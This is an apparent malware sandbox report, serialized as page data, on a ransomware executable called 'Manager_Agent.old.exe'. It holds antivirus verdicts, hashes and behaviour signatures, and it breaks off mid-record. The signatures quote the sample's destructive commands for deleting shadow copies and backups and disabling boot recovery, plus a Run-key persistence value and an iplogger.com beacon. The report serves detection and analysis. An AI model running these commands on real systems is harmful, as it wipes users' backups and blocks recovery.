ICIBweEREREREREREREREREREcHiIiIiIiIiIiIiIiIiIiHB3d3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////w==18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"schema_version":"1.0.15","sha256":"1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790673554690,"unified_at":"2026-09-29T09:19:14.690Z","metadata":{"hashes":{"sha256":"1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031","sha1":"e0abb4745c358d0443ff61ffab33ccdf4e7b370b","md5":"ae82756fefbe4ed92d641b3f7b707fb3","sha512":"a8b3a010e0e942f83ee333cd41878cb8ffd59413f729ea7b279af525437ab1166fed2c1689606726bd6771b54b06c5bc3dde2adf8641e6a61d0255e356cfb3dd","ssdeep":"3072:Trbd8SPP/WOCo4TfWSR6kWFigjB+hhufGKvXesA:TrbVfLmWzXigkhhqG2uT","ssdeep_chunks":["3072:Trbd8SP","3072:rbd8SPP","3072:bd8SPP/","3072:d8SPP/W","3072:8SPP/WO","3072:SPP/WOC","3072:PP/WOCo","3072:P/WOCo4","3072:/WOCo4T","3072:WOCo4Tf","3072:OCo4TfW","3072:Co4TfWS","3072:o4TfWSR","3072:4TfWSR6","3072:TfWSR6k","3072:fWSR6kW","3072:WSR6kWF","3072:SR6kWFi","3072:R6kWFig","3072:6kWFigj","3072:kWFigjB","3072:WFigjB+","3072:FigjB+h","3072:igjB+hh","3072:gjB+hhu","3072:jB+hhuf","3072:B+hhufG","3072:+hhufGK","3072:hhufGKv","3072:hufGKvX","3072:ufGKvXe","3072:fGKvXes","3072:GKvXesA","6144:Trbd8SP","6144:rbd8SPP","6144:bd8SPP/","6144:d8SPP/W","6144:8SPP/WO","6144:SPP/WOC","6144:PP/WOCo","6144:P/WOCo4","6144:/WOCo4T","6144:WOCo4Tf","6144:OCo4TfW","6144:Co4TfWS","6144:o4TfWSR","6144:4TfWSR6","6144:TfWSR6k","6144:fWSR6kW","6144:WSR6kWF","6144:SR6kWFi","6144:R6kWFig","6144:6kWFigj","6144:kWFigjB","6144:WFigjB+","6144:FigjB+h","6144:igjB+hh","6144:gjB+hhu","6144:jB+hhuf","6144:B+hhufG","6144:+hhufGK","6144:hhufGKv","6144:hufGKvX","6144:ufGKvXe","6144:fGKvXes","6144:GKvXesA","3072:TrbVfLm","3072:rbVfLmW","3072:bVfLmWz","3072:VfLmWzX","3072:fLmWzXi","3072:LmWzXig","3072:mWzXigk","3072:WzXigkh","3072:zXigkhh","3072:Xigkhhq","3072:igkhhqG","3072:gkhhqG2","3072:khhqG2u","3072:hhqG2uT"],"imphash":"cc9170f580bf26a9f564fffd9cf2995c"},"file_info":{"file_name":"Manager_Agent.old.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":190976,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1509465354000,"last_seen":1692823596000,"last_multi_scan":1692823596000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["phishing","ransomware"]},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":17,"suspicious_count":20,"malicious_count":12,"total":49},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Generic.lArK","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.FileCoder","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.AGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Downloader.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.Scarab-6384944-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.Win32.TrojanDownloader.Delf.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Mint.Zard.1 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Filecoder.FS trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Ransom/Genasom","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 004f6e981 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Ransom.Win32.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXGB-WP!AE82756FEFBE","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Filecoder.eurpnj","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan/W32.DP-Agent.190976.G","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Mal_Purge","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Mal_Purge","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Trojan.IJQ.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.Encoder","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Filecoder.Win32.6510","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@kernel32.dll at 49219-1073-00406244","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@kernel32.dll at 49219-920-004061DC","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\1885E9B3037C70563AA539A7B4FAB5E4B04067584353E5F0BA4300C689146031.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\1885E9B3037C70563AA539A7B4FAB5E4B04067584353E5F0BA4300C689146031.EXE\")\n \"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MANAGER_AGENT.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MANAGER_AGENT.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\"; Value: \"00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$22","origin":"Registry Access","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$23","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"iplogger.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"88.99.66.31:80\"\n \"88.99.66.31:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /1wQH27.gif HTTP/1.1\nHost: iplogger.com\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"Manager_Agent.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c copy /y \"C:\\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe\" \"%APPDATA%\\Manager_Agent.exe\"\" on 2017-10-31.16:43:18.029\n \"/c copy /y \"C:\\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe\" \"%APPDATA%\\Manager_Agent.exe\"\" on 2017-10-31.16:43:19.090\n \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" on 2017-10-31.16:44:00.202\n \"/c wmic SHADOWCOPY DELETE\" on 2017-10-31.16:44:00.212\n \"/c vssadmin Delete Shadows /All /Quiet\" on 2017-10-31.16:44:00.232\n \"/c bcdedit /set {default} recoveryenabled No\" on 2017-10-31.16:44:00.242\n \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" on 2017-10-31.16:44:00.252\n \"/c start /max notepad.exe \"%USERPROFILE%\\INSTRUCTION FOR DATA RECOVERY.TXT\"\" on 2017-10-31.16:46:37.966","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$24","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"autoexec.bat\" has type \"data\"\n \"AXE8SharedExpat.dll\" has type \"data\"\n \"9rNtWnjTq9RGbU.exe\" has type \"data\"\n \"Eula.exe\" has type \"data\"\n \"ViewerPS.dll\" has type \"DOS executable (COM)\"\n \"ccme_asym.dll\" has type \"data\"\n \"AcroExt.exe\" has type \"data\"\n \"yZw6snqBQ28DAzu.exe\" has type \"data\"\n \"MineSweeper.lnk\" has type \"data\"\n \"BIB.dll\" has type \"data\"\n \"nppdf32.dll\" has type \"data\"\n \"BIBUtils.dll\" has type \"DOS executable (COM)\"\n \"rRgk91Ih5n.doc\" has type \"data\"\n \"dH1rDN9f9.doc\" has type \"data\"\n \"6SZfLTu9z.doc\" has type \"data\"\n \"icucnv40.dll\" has type \"data\"\n \"ScCore.dll\" has type \"data\"\n \"lCEf83Wf7e4nuIMk.doc\" has type \"data\"\n \"AcroTextExtractor.exe\" has type \"DOS executable (COM)\"\n \"C04T72pR0Bcl.doc\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls\"\n \"\" touched file \"%WINDIR%\\System32\\en-US\\setupapi.dll.mui\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db\"\n \"\" touched file \"%WINDIR%\\System32\\en-US\\propsys.dll.mui\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db\"\n \"\" touched file \"%WINDIR%\\AppPatch\\sysmain.sdb\"\n \"\" touched file \"%WINDIR%\\System32\\mshta.exe\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$25","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe.bin\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"Manager_Agent.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")\n \"mshta.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")\n \"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"Found dropped filename \"PSPUBWS.contact\" containing the Windows username \"PSPUBWS\"","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Manager_Agent.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"vssadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Manager_Agent.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"vssadmin.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"2/64 reputation engines marked \"http://iplogger.org\" as malicious (3% detection rate)\n 1/63 reputation engines marked \"http://iplogger.com\" as malicious (1% detection rate)\n 1/64 reputation engines marked \"https://iplogger.com\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"Manager_Agent.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_ENUMERATE_SERVICE\" (0x4)\n \"Manager_Agent.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"Manager_Agent.exe\" called \"OpenService\" to access the \"LanmanWorkstation\" service\n \"Manager_Agent.exe\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"Manager_Agent.exe\" called \"OpenService\" to access the \"rasman\" service\n \"Manager_Agent.exe\" called \"OpenService\" to access the \"RASMAN\" service\n \"Manager_Agent.exe\" called \"OpenService\" to access the \"CryptSvc\" service\n \"Manager_Agent.exe\" called \"OpenService\" to access the \"ServicesActive\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"Manager_Agent.exe\" called \"OpenService\" to access the \"gpsvc\" service\n \"Manager_Agent.exe\" called \"OpenService\" to access the \"WinHttpAutoProxySvc\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"General","name":"Sent a control code to a service","description":"\"Manager_Agent.exe\" called \"ControlService\" and sent control code \"0X400\" to the service \"CryptSvc\"\n \"Manager_Agent.exe\" called \"ControlService\" and sent control code \"0X24\" to the service \"gpsvc\"\n \"Manager_Agent.exe\" called \"ControlService\" and sent control code \"0XFC\" to the service \"gpsvc\"","origin":"API Call","relevance":10,"id":"api-75","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"ViewerPS.dll\" has type \"DOS executable (COM)\"\n \"BIBUtils.dll\" has type \"DOS executable (COM)\"\n \"AcroTextExtractor.exe\" has type \"DOS executable (COM)\"\n \"AdobeXMP.dll\" has type \"DOS executable (COM)\"\n \"AcroRdIF.dll\" has type \"DOS executable (COM)\"\n \"sqlite.dll\" has type \"DOS executable (COM)\"\n \"icudt40.dll\" has type \"DOS executable (COM)\"\n \"AdobeLinguistic.dll\" has type \"DOS executable (COM)\"\n \"Acrofx32.dll\" has type \"DOS executable (COM)\"\n \"desktop.ini\" has type \"iAPX 286 executable small model (COFF) not stripped\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"Manager_Agent.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"Manager_Agent.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"CUTAKPF\"; Value: \"notepad.exe \"%USERPROFILE%\\INSTRUCTION FOR DATA RECOVERY.TXT\"\")\n \"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"CUTAKPF\"; Value: \"%APPDATA%\\Manager_Agent.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected text artifact in screenshot that indicate file could be ransomware","description":"\"Decryption\" (Source: screen_10.png, Indicator: \"decrypt\")\n \"decryption\" (Source: screen_10.png, Indicator: \"decrypt\")\n \"decryptor:\" (Source: screen_10.png, Indicator: \"crypto\")\n \"decryption.\" (Source: screen_10.png, Indicator: \"decrypt\")\n \"decrypt\" (Source: screen_10.png, Indicator: \"decrypt\")","origin":"File/Memory","relevance":10,"id":"string-12","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 750 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"Manager_Agent.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads system information using Windows Management Instrumentation Commandline (WMIC)","description":"Process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00015039-00000100)","origin":"Monitored Target","relevance":3,"id":"target-10","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$26","origin":"Registry Access","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$27","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: 